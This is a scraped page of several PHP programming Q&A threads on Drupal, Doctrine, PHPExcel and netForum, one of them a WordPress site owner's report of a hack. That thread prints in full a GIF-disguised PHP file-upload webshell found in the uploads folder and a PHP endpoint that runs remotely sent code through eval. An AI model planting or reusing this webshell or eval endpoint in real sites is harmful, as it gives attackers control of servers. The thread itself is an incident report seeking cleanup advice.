Print data from database to a particular block content - drupal

I need to print a simple data from database to a particular block, I have used the code given below and got the text out put but it is not located in the block specified(hello_world).
function hello_world_block_view($delta = '') {
$block = array();
if ($delta == 'hello_world') {
$sql = "SELECT Test_name FROM Test_table";
$result = db_query($sql);
$record = $result->fetch();
foreach ($record as $records) {
echo $records;
}
$block['subject'] = t('Hello world Subject');
$block['content'] = t('Need to print database content');
}
return $block;
}

You need to connect variable $records with $block['content']. So it can looks like:
function hello_world_block_view($delta = '') {
$block = array();
if ($delta == 'hello_world') {
$output = '';
$sql = "SELECT Test_name FROM Test_table";
$result = db_query($sql);
$record = $result->fetch();
foreach ($record as $records) {
$output .= $records;
}
$block['subject'] = t('Hello world Subject');
$block['content'] = $output;
}
return $block;
}

Related

Symfony doctrine batch processing not working

Maybe anyone can have a look:
I have a function and using batch to process bulk data to doctrine, but it not seems working, because nothing is inserted to database, but if i flush() every element, everything is working
any ideas why?
private function insertData($linesInFile, $output)
{
$google = $this->getContainer()->get('google.books');
$amazon = $this->getContainer()->get('amazon.books');
$em = $this->getContainer()->get('doctrine.orm.entity_manager');
$number = 1;
$batchSize = 5;
foreach ($linesInFile as $string) {
$string = preg_split('/isbn_13/', $string);
$book = new Book();
$isbn = new Isbn();
if (isset($string[1])) {
$value = str_split($string[1], 23);
$isbnValue = preg_replace('/\D/', '', $value[0]);
$isbn->setIsbn($isbnValue);
$book = $google->getBookByIsbn($isbn);
if (null == $book->getIsbn()) {
$book = $amazon->getBookByIsbn($isbn);
}
$pages = $book->getPages();
$image = $book->getCover();
$about = $book->getAbout();
if ($about !== "") {
if ($image !=="") {
$em->persist($book);
if (($number % $batchSize) === 0) {
$em->flush();
$em->clear();
}
$output->writeln($isbnValue);
$number++;
}
}
}
}
$em->flush();
$em->clear();
return $number;
}
}
So, my code is good, it was some bug in google API and items were not persisted properly.

Using a loop to fill excel file instead of hard coding cell co-ordinates

I have this code listing which exports data to an excel file shown here!, I would like to use a loop that does the same thing instead of hard coding it, suggestions!
$objReader = PHPExcel_IOFactory::createReader('Excel2007');
$objPHPExcel = $objReader->load("workbooks/" . $labref . "/" . $labref . ".xlsx");
$objPHPExcel->setActiveSheetIndex(0);
$objPHPExcel->getActiveSheet()
->setCellValue('I3', $heading)
->setCellValue('I5', 'Standard Preparation For Assay')
->setCellValue('B7', 'Weight')
…………
//Assay Standard Preparation desired
->setCellValue('A8', 'Desired Weight')
->setCellValue('B8', $weight)
->setCellValue('C8', $vf1)
…………………..
//Other values used
->setCellValue('D22', 'Label Claim')
->setCellValue('D23', 'Tabs or Caps Average')
……..
$objPHPExcel->getActiveSheet()->setTitle($heading);
$dir = "workbooks";
$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');
$objWriter->save("workbooks/" . $labref . "/" . $labref . ".xlsx");
}
}
Try something like this
$data = R::getAll('SELECT * FROM form'); //Im using redbean
$url = // Your url from the root dir -> the folder you wanna save to
$header = array();
$index = 0;
foreach ($data[0] as $key => $value) {
$header[$index] = $key;
$index += 1;
}
try {
$sheet = new PHPExcel();
$sheet->getProperties()->setCreator('Username')
->setLastModifiedBy('Username')
->setTitle('Title');
$sheet->getDefaultStyle()->getAlignment()->setVertical(
PHPExcel_Style_Alignment::VERTICAL_TOP);
$sheet->getDefaultStyle()->getAlignment()->setHorizontal(
PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
$sheet->getDefaultStyle()->getFont()->setName('Calibri');
$sheet->getDefaultStyle()->getFont()->setSize(12);
$sheet->setActiveSheetIndex(0);
$activeSheet = $sheet->getActiveSheet();
$colHeaders = $header;
$col = 'B';
$rownum = 2;
foreach ($colHeaders as $h) {
$activeSheet->setCellValue($col . $rownum, $h);
$activeSheet->getStyle($col . $rownum)->getFont()->setBold(true);
$activeSheet->getColumnDimension($col)->setAutoSize(true);
$col++;
}
foreach ($data as $k => $v) {
$col = 'B';
$rownum++;
if ($k != count($data)) {
foreach ($v as $value) {
$activeSheet->setCellValue($col++ . $rownum, $value);
}
} else {
foreach ($v as $value) {
$rownum++;
$activeSheet->setCellValue($col++ . $rownum, $value);
}
}
}
$writer = PHPExcel_IOFactory::createWriter($sheet, 'Excel2007');
// The URL needs to be a absolute path from the root folder to the save folder
// time() makes sure that the file has a uniq name and allso makes it easy to
// see the leatest verson of it.
$saveObj = $url . time() . '';
$writer->save($saveObj);
exit();
} catch (Exception $e) {
$error = $e->getMessage();
// print("<pre>".print_r($error,true)."</pre>");
}
print("<pre>".print_r($error,true)."</pre>");
exit();

My wordpress has been hacked, but what did the hacker do and how can I prevent it/ fix damage done

I saw highload on my server and looked at the apache server-status and saw a post to /2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php that was eating up 12% of my cpu. I shutdown apache, moved the file, blocked the guy in my htaccess, and now I'm wondering what damage was done. looks like the file was added 4 days ago
<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');
define('DEFLATE_RESPONSE_DATA', True);
header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer='2.0';
if(!function_exists('property_exists'))
{
function property_exists($class, $property)
{
if(is_object($class))$vars=get_object_vars($class);
else $vars=get_class_vars($class);
return array_key_exists($property, $vars);
}
}
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_NOTICE:
case E_USER_NOTICE:
case E_WARNING:
case E_USER_WARNING:
return True;
case E_ERROR:
$code = 0;
break;
case E_USER_ERROR:
$code = 1;
break;
default:
$code = 2;
}
if(function_exists('json_encode'))
{
$message = "{$errstr} ({$errfile} Line: {$errline})";
$response = json_encode(array('jsonrpc' => $GLOBALS['jsonRPCVer'],'id'=>$GLOBALS['requestId'],'error'=>array('code'=>$code,'message'=> $message)));
}
else
{
$message = "{$errstr}";
$response = "{\"jsonrpc\":{$GLOBALS['jsonRPCVer']},\"id\":{$GLOBALS['requestId']},\"error\":{\"code\":{$code},\"message\":\"{$message}\"}}";
}
die($response);
}
set_error_handler("senzorErrorHandler");
if(!function_exists('json_encode'))
{
if (!file_exists("compat/json.php"))
trigger_error("#COMPAT-JSON#", E_USER_ERROR);
require_once("compat/json.php");
function json_encode($data)
{
$json = new Services_JSON();
return($json->encode($data));
}
}
if(!function_exists('json_decode'))
{
if(!file_exists("compat/json.php"))
trigger_error("#COMPAT-JSON#", E_USER_ERROR);
function json_decode($data)
{
$json = new Services_JSON();
return($json->decode($data));
}
}
if(function_exists('bcmod'))
define('BCMOD', true);
else
{
if(!file_exists("compat/array_fill.php")||!file_exists("compat/bcpowmod.php")||!file_exists("compat/biginteger.php"))
trigger_error("#COMPAT-BI#", E_USER_ERROR);
require_once("compat/array_fill.php");
require_once("compat/bcpowmod.php");
require_once("compat/biginteger.php");
}
function rsa_encrypt($message, $public_key, $modulus, $keylength, $notSigning = true)
{
$result = '';
$chunkLength = intval($keylength / 8) - 11;
for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
{
$padded = add_PKCS1_padding(substr($message, $i, $chunkLength), $notSigning, intval($keylength/8));
$number = binary_to_number($padded);
$encrypted = pow_mod($number, $public_key, $modulus);
$binary = number_to_binary($encrypted, intval($keylength/8));
$result .= $binary;
}
return $result;
}
function rsa_decrypt($message, $private_key, $modulus, $keylength)
{
$result = '';
$chunkLength = intval($keylength/8);
for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
{
$number = binary_to_number(substr($message, $i, $chunkLength));
$decrypted = pow_mod($number, $private_key, $modulus);
$presult = number_to_binary($decrypted, $chunkLength);
$pres = remove_PKCS1_padding($presult, $chunkLength);
if ($pres === FALSE)
return FALSE;
$result .= $pres;
}
return $result;
}
function rsa_sign($message, $private_key, $modulus, $keylength)
{
return rsa_encrypt($message, $private_key, $modulus, $keylength, false);
}
function rsa_verify($message, $signature, $public_key, $modulus, $keylength)
{
$result = false;
$result = ($message==rsa_decrypt($signature, $public_key, $modulus, $keylength));
return $result;
}
function pow_mod($p, $q, $r)
{
if(defined('BCMOD'))
{
$factors = array();
$div = $q;
$power_of_two = 0;
while(bccomp($div, "0") == 1) //BCCOMP_LARGER
{
$rem = bcmod($div, 2);
$div = bcdiv($div, 2);
if($rem) array_push($factors, $power_of_two);
$power_of_two++;
}
$partial_results = array();
$part_res = $p;
$idx = 0;
foreach($factors as $factor)
{
while($idx < $factor)
{
$part_res = bcpow($part_res, "2");
$part_res = bcmod($part_res, $r);
$idx++;
}
array_push($partial_results, $part_res);
}
$result = "1";
foreach($partial_results as $part_res)
{
$result = bcmul($result, $part_res);
$result = bcmod($result, $r);
}
return $result;
}
//Math_BigInteger implementation
$p = new Math_BigInteger($p);
$q = new Math_BigInteger($q);
$r = new Math_BigInteger($r);
$x = $p->modPow($q, $r);
return $x->toString();
}
function add_PKCS1_padding($data, $isPublicKey, $blocksize)
{
$pad_length = $blocksize - 3 - strlen($data);
if($isPublicKey)
{
$block_type = "\x02";
$padding = "";
for($i = 0; $i < $pad_length; $i++)
$padding .= chr(mt_rand(1, 255));
}
else
{
$block_type = "\x01";
$padding = str_repeat("\xFF", $pad_length);
}
return "\x00" . $block_type . $padding . "\x00" . $data;
}
function remove_PKCS1_padding($data, $blocksize)
{
#bad data length
if(strlen($data) != $blocksize) return FALSE;
if(($data[0]!="\0") || ( ($data[1] != "\x01") && ($data[1] != "\x02") )) return FALSE;
#bad padding type
$offset = strpos($data, "\0", 1);
return substr($data, $offset + 1);
}
function binary_to_number($data)
{
if(defined('BCMOD'))
{
$base = "256";
$radix = "1";
$result = "0";
for($i = strlen($data) - 1; $i >= 0; $i--)
{
$digit = ord($data{$i});
$part_res = bcmul($digit, $radix);
$result = bcadd($result, $part_res);
$radix = bcmul($radix, $base);
}
return $result;
}
//Math_BigInteger implementation
$result = new Math_BigInteger();
$p = new Math_BigInteger("0x100", 16);
$m = new Math_BigInteger("0x01", 16);
for($i=strlen($data)-1; $i>=0; $i--)
{
if(defined('MATH_BIGINTEGER_MODE') && defined('MATH_BIGINTEGER_MODE_INTERNAL') && (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL))
{
$d = new Math_BigInteger();
$d->value = array(ord($data[$i]));
}
else $d = new Math_BigInteger(ord($data[$i]));
$d = $d->multiply($m);
$m = $m->multiply($p);
$result = $result->add($d);
}
return $result->toString();
}
function hex_to_binary($hex, $blocksize)
{
$result = '';
for($i = 0; $i < (strlen($hex) - 1); $i = $i + 2)
$result = $result . pack('H2', substr($hex, $i, 2));
$result = pack('H'.sprintf('%d',strlen($hex)), $hex);
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function number_to_binary($number, $blocksize)
{
if(defined('BCMOD'))
{
$base = "256";
$num = $number;
$result = "";
while($num > 0)
{
$mod = bcmod($num, $base);
$num = bcdiv($num, $base);
$result = chr($mod) . $result;
}
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
//Math_BigInteger implementation
$result = "";
$num = new Math_BigInteger($number);
$zero = new Math_BigInteger();
$divider = new Math_BigInteger("0x100",16);
while($num->compare($zero) > 0)
{
list($num, $remainder) = $num->divide($divider);
$add = $remainder->toBytes();
if($add == '') $add = "\0";
$result = $add . $result;
}
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function rsa_sign_b64($message, $private_key, $modulus, $keylength)
{
return base64_encode(rsa_sign($message, $private_key, $modulus, $keylength));
}
function rsa_verify_b64($message, $signature, $public_key, $modulus, $keylength)
{
return rsa_verify($message, base64_decode($signature), $public_key, $modulus, $keylength);
}
function rsa_encrypt_b64($message, $public_key, $modulus, $keylength)
{
return base64_encode(rsa_encrypt($message, $public_key, $modulus, $keylength));
}
function rsa_decrypt_b64($message, $private_key, $modulus, $keylength)
{
return rsa_decrypt(base64_decode($message), $private_key, $modulus, $keylength);
}
function get_rnd_iv($iv_len)
{
$iv = '';
while ($iv_len-- > 0) $iv .= chr(mt_rand(1, 255));
return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16)
{
$plain_text .= "\x13";
$n = strlen($plain_text);
if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
$i = 0;
$enc_text = get_rnd_iv($iv_len);
$iv = substr($password ^ $enc_text, 0, 512);
while ($i < $n)
{
$block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
$enc_text .= $block;
$iv = substr($block . $iv, 0, 512) ^ $password;
$i += 16;
}
return base64_encode($enc_text);
}
function md5_decrypt($enc_text, $password, $iv_len = 16)
{
$enc_text = base64_decode($enc_text);
$n = strlen($enc_text);
$i = $iv_len;
$plain_text = '';
$iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
while ($i < $n)
{
$block = substr($enc_text, $i, 16);
$plain_text .= $block ^ pack('H*', md5($iv));
$iv = substr($block . $iv, 0, 512) ^ $password;
$i += 16;
}
return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}
function handleRequest($request = '')
{
if((!is_string($request))||($request==''))trigger_error("#REQUEST-EMPTY#", E_USER_ERROR);
$request = json_decode($request);
if(!is_object($request))trigger_error("#REQUEST-JSON#", E_USER_ERROR);
if( (!property_exists($request, 'jsonrpc')) ||
(!property_exists($request, 'id')) ||
(!property_exists($request, 'method')) ||
(!property_exists($request, 'params')))trigger_error("#REQUEST-JSRPC#", E_USER_ERROR);
$GLOBALS['requestId']=$request->id;
if(floatval($request->jsonrpc) != 2.0) trigger_error("#REQUEST-VERSION#", E_USER_ERROR);
$GLOBALS['jsonRPCVer']=$request->jsonrpc;
if(!property_exists($request, 'sign'))trigger_error("#REQUEST-SIG#", E_USER_ERROR);
if(property_exists($request, 'enc'))$request->params = md5_decrypt($request->params, PAS_REQ);
if(property_exists($request, 'def'))
{
if(!function_exists('gzuncompress')) trigger_error("#COMPAT-ZLIB#", E_USER_ERROR);
$request->params = gzuncompress($request->params);
}
if(!rsa_verify_b64(sha1($request->params), $request->sign, RSA_PUB, RSA_MOD, RSA_LEN))trigger_error("#REQUEST-SIG#", E_USER_ERROR);
if($request->method != "execute")trigger_error("#REQUEST-METHOD#", E_USER_ERROR);
$result = NULL;
$success = #eval('?>'.$request->params);
if($success === FALSE) trigger_error("#REQUEST-PROCESSING#", E_USER_ERROR);
$result = json_encode($result);
$response = array ('jsonrpc' => $GLOBALS['jsonRPCVer'], 'id' => $request->id);
if(function_exists('gzcompress') && DEFLATE_RESPONSE_DATA && (strlen($result) > 100))
{
$response['def'] = true;
$result = gzcompress($result, 6);
}
$result = md5_encrypt($result, PAS_RES);
$response['enc'] = true;
$response['result'] = $result;
return json_encode($response);
}
if (($_SERVER['REQUEST_METHOD'] == 'POST')&&(!empty($_SERVER['CONTENT_TYPE']))&&(preg_match('/^application\/json/i', $_SERVER['CONTENT_TYPE'])))
echo handleRequest(file_get_contents('php://input'));
I created a file in the server root
410.php
<?php header('HTTP/1.0 410 Gone'); ?>
And in my .htaccess apache file I added
RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_ADDR} ^188.138.56.125 [OR]
RewriteCond %{REMOTE_ADDR} ^188.138.56.125
RewriteRule ^.*$ 410.php [L]
I also noticed in my wp-content/uploads folder a somehash.php file with the contents
GIF89a^A^#^A^#<80>^#^#<FF><FF><FF>^#^#^#!<F9>^D^A^#^#^#^#,^#^#^#^#^A^#^A^#^#^B^BD^A^#;^#<?php $f=preg_replace('/(.*wp-content).*/i','\1',di
rname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);ech
o "14qhpo"; ?>^#;
and a directory in it with 777 permissions containing my wordpress files, which I also deleted.
I'm going to reinstall my wordpress with fresh data and plugins in a clean directory, but how can I prevent this again, or better monitor for it? And what did the hacker do and how can I prevent it/ fix damage done?
I see someone else got the same hack here http://pastebin.com/k5HUythK
EDIT 11/23
Strangely, I think the first code I pasted might be a plugin I just installed websitedefender.com because now it's sending me emails that the 'agent is not responsive', http://wordpress.org/extend/plugins/wp-security-scan/, http://wordpress.org/extend/plugins/websitedefender-wordpress-security/
I would have thought they would annotate that file if it was legit
There is nothing to worry about (at least for this issue), because that file and code is a standard websitedefender.com sitecheck file. I guess you uploaded that to your site and forgotten?
Its probably the timthumb.php vulnerability. If the timthumb.php file if its anywhere on the system make sure it is deleted. You may have been hacked by multiple people so its best to backup the database and reinstall from scratch with the most up to date versions.
To detect vulnerabilities in your application I recommend testing your site with a vulnerability scanning service like Sitewatch or a program like Skipfish.
something similar happened to me. the weakness definitely seems to be plugins, akismet in particular but also some of the seo plugins. these can allow injection attacks or worse.
Your best bet will be to wipe your server and rebuild from your last known good backups. Nothing else will be truly trustworthy.

Using the $object in Actions.I've created a module but parameter _action($object) is not work

Using the $object in Actions.
$object: Many actions act on one of Drupal’s built-in objects: nodes, users, taxonomy terms, and so on. When an action is executed by trigger.module, the object that is currently being acted upon is passed along to the action in the $object parameter. For example, if an action is set to execute when a new node is created, the $object parameter will contain the node object.
$object haven't value.i will get node's title and use in code.
function beep_action($object, $context) {
global $user;
//$q_mailfrom = db_query("SELECT mail FROM {users} WHERE uid = '%d'", 1);
// $f_mailfrom = db_fetch_object($q_mailfrom);
$q_mailuser = db_query("SELECT uid, mail FROM {users}");
// $a_mailto=array();
// $i=0;
while($f_mailuser = db_fetch_object($q_mailuser)){
if($f_mailuser->uid==1){
$mailfrom = $f_mailuser->mail;
}
$q_mailer = db_query("SELECT news,proudcts,privilagecard,occassioncard,others FROM {beep} WHERE uid = '%d'", $f_mailuser->uid);
$f_mailer = db_fetch_object($q_mailer);
if($f_mailer->news==1 OR $f_mailer->proudcts==1 OR $f_mailer->privilagecard==1 OR $f_mailer->occassioncard==1 OR $f_mailer->others==1 ){
if($f_mailer->news==1){
$mailto = $f_mailuser->mail;
$subject = "... Group";
$message = "<h2>... Group Latest News </h2>".$object->nid."<br/>Test";
drupal_mail('beep', 'reply', $mailto, language_default(),
array('body' => $message, 'subject' => $subject), $mailfrom, TRUE);
}
// $a_mailto[$i]= $f_mailto->mail;
// $i++;
}
}
}
I see what you want
function MYMODULE_nodeapi(&$node, $op, $a3 = NULL, $a4 = NULL){
switch($op){
case 'insert':
if($node->type == 'mytype'){
beep_action($node);
}
break;
}
}
Show call function. What you post in $object ?
And read drupal code stantarts.
function beep_action($object, $context) {
_vdump($object);
global $user;
$default_from = variable_get('site_mail', ini_get('sendmail_from'));
$query = "SELECT user.uid, user.mail FROM {users} user WHERE status <> %d";
$result = db_query($query, 0);
$subject = t("Azaran Mehr Group");
while ($row = db_fetch_object($result)) {
$query = "SELECT beep.news, beep.proudcts, beep.privilagecard, beep.occassioncard, beep.others FROM {beep} beep WHERE uid = %d"; // Do not use ' on integer values
$f_mailer = db_fetch_object(db_query($query, $row->uid));
if ($f_mailer->news == 1 && ($f_mailer->proudcts == 1 || $f_mailer->privilagecard == 1 || $f_mailer->occassioncard == 1 || $f_mailer->others == 1)) {
$message = '<h2>'. t('Azaran Mehr Group Latest News - !nid', array('!nid' => $object->nid)) .'</h2><br/>Test';
drupal_mail('beep', 'reply', $row->mail, language_default(),
array('body' => $message, 'subject' => $subject), $default_from, TRUE);
}
}
}
function _vdump($var, $keys = FALSE) {
if($keys){
drupal_set_message('<pre>' . print_r(array_keys($var), 1) . '</pre>');
}
else {
drupal_set_message('<pre>' . print_r($var, 1) . '</pre>');
}
}

Drupal and netForum: Creating a User

I am trying to create a user in netForum from a Drupal Webform.
Using a webform hook, I am calling two functions to take a users email address and first and last name, and create a netforum account when a user submits basic webforms.
However, the form times out when I hit submit, and the watchdog error from Netforum is 'could not fetch http headers'. Have I done something wrong in my implementation? I keep getting a timeout.
http://wiki.avectra.com/XWeb:WEBWebUserCreate
function inclind_form_webform_submission_insert($node, $submission) {
// find the email address in the form
$form_fields = $node->webform['components'];
foreach ($form_fields as $key => $value) {
$arguments = array();
$response = '';
if ($value['type'] == 'email') {
$arguments = array(
'emailToMatch' => $submission->data[$key]['value'][0]
);
$response = netforum_xweb_request('WEBWebUserFindUsersByEmail', $arguments, NULL);
if (!isset($response) || $response->{#attributes}['recordResult'] == 0) {
inclind_form_create_netforum_user($form_fields, $submission);
}
}
}
return;
}
/*
* Create a user in netForum based on form data
*
* #param $form_fields
* The form structure passed in from inclind_form_webform_submission_insert
* #param $submission
* The form data passed in from inclind_form_webform_submission_insert
*/
function inclind_form_create_netforum_user($form_fields, $submission) {
$arguments = array();
$arguments['oWebUser']['Individual'] = array();
$arguments['oWebUser']['Email'] = array();
$arguments['oWebUser']['Customer'] = array();
$arguments['oWebUser']['Business_Address'] = array();
$arguments['oWebUser']['Business_Phone'] = array();
$arguments['oWebUser']['Business_Phone_XRef'] = array();
$arguments['oWebUser']['Business_Fax'] = array();
$arguments['oWebUser']['Business_Fax_XRef'] = array();
foreach ($form_fields as $key => $value) {
if ($value['form_key'] == 'ind_first_name') {
$arguments['oWebUser']['Individual']['ind_first_name'] = $submission->data[$key]['value'][0];
}
if ($value['form_key'] == 'ind_last_name') {
$arguments['oWebUser']['Individual']['ind_last_name'] = $submission->data[$key]['value'][0];
}
if (strlen($arguments['oWebUser']['Individual']['ind_first_name']) && strlen($arguments['oWebUser']['Individual']['ind_last_name'])) {
$arguments['oWebUser']['Individual']['ind_full_name'] = $arguments['oWebUser']['Individual']['ind_first_name'] . ' ' . $arguments['oWebUser']['Individual']['ind_last_name'];
}
if ($value['form_key'] == 'eml_address') {
$arguments['oWebUser']['Email']['eml_address'] = $submission->data[$key]['value'][0];
$arguments['oWebUser']['Customer']['cst_web_login'] = $submission->data[$key]['value'][0];
$arguments['oWebUser']['Customer']['cst_new_password'] = user_password(20);
$arguments['oWebUser']['Customer']['cst_new_password_confirm'] = $arguments['oWebUser']['Customer']['cst_new_password'];
}
if ($value['form_key'] == 'adr_post_code') {
$arguments['oWebUser']['Business_Address']['adr_post_code'] = $submission->data[$key]['value'][0];
}
}
if (!isset($arguments['oWebUser']['Business_Address']['adr_city'])) {
$arguments['oWebUser']['Business_Address']['adr_city'] = 'Not Given';
}
if (!isset($arguments['oWebUser']['Business_Address']['adr_state'])) {
$arguments['oWebUser']['Business_Address']['adr_state'] = 'NA';
}
if (!isset($arguments['oWebUser']['Business_Address']['adr_post_code'])) {
$arguments['oWebUser']['Business_Address']['adr_post_code'] = '00000';
}
if (!isset($arguments['oWebUser']['Business_Address']['adr_country'])) {
$arguments['oWebUser']['Business_Address']['adr_country'] = 'Not Given';
}
if (!isset($arguments['oWebUser']['Business_Phone']['phn_number'])) {
$arguments['oWebUser']['Business_Phone']['phn_number'] = '000-000-0000';
}
if (!isset($arguments['oWebUser']['Business_Phone_XRef']['cph_extension'])) {
$arguments['oWebUser']['Business_Phone_XRef']['cph_extension'] = '000';
}
if (!isset($arguments['oWebUser']['Business_Fax']['fax_number'])) {
$arguments['oWebUser']['Business_Fax']['fax_number'] = '000-000-0000';
}
$response = netforum_xweb_request('WEBWebUserCreate', $arguments, '1 min');
watchdog('netforum', 'netforum user #user created', array('#user' => $arguments['oWebUser']['Email']['eml_address']), WATCHDOG_NOTICE);
}
Solved: http://drupal.org/node/866534

Resources